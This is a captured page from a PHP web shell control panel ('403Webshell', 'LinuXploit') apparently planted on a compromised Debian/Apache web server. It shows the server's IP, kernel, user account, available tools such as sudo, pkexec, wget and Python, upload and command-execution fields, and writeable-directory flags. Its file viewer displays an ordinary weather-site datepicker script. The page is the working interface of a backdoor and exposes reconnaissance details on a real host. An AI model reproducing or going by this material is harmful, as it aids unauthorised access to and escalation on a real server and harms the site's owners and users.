403Webshell
Server IP : 80.241.246.6  /  Your IP : 216.73.216.188
Web Server : Apache/2.4.25 (Debian)
System : Linux kharagauli 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
User : www-data ( 33)
PHP Version : 7.0.33-0+deb9u12
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/kharagauli1/weather/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/kharagauli1/weather/datepicker.php
<?php
header("Content-type: text/html; Charset=utf-8");
 session_start();
  mb_internal_encoding("UTF-8");
   error_reporting(E_ALL);
    date_default_timezone_set("Asia/Tbilisi");

     require_once '../clases/Central.php';

     $_ = new Central;

     if(!count($_POST))die;

     if(isset($_POST['datepicker'])){
         $obj = new stdClass();
         $obj->c_type = "big";
         $__date = ($_POST['datepicker'])?$_->clier($_POST['datepicker']):date("d-m-Y",time());
       //  $__date = ($_POST['datepicker'])?$_->clier($_POST['datepicker']):date("d-m-Y",strtotime('30-4-2014'));

         if($__date){
             list($start_,$end_,$any_) = explode('-',$__date);
             $__date = strtotime($__date);
             $t = date('t',strtotime($__date));
             $start = ($start_-1)*86400;
             $end   = ($t-($start_ + 1))*86400;
           //  echo date('d-m-Y',($__date-$start))." ".date('d-m-Y',($__date+$end));
             $obj->sql = " and (page_date >= '".($__date-$start)."' and page_date <= '".($__date+$end)."')";
         }



         $id = $_->select("id","menu","small",["home_page",1]);

         $page_date = $_->select("page_date","body",$obj,["page_id",$id]);

         $page_date = (isset($page_date['body']))?$page_date['body']:[];
         $length = count($page_date);
         $return = [];
         for($i = 0; $i < $length; $i++){
           if(!$page_date[$i]['page_date'])continue;
             $return[] = date('j',$page_date[$i]['page_date']);
         }
         echo json_encode($return);
     }
    die;

Youez - 2016 - github.com/yon3zu
LinuXploit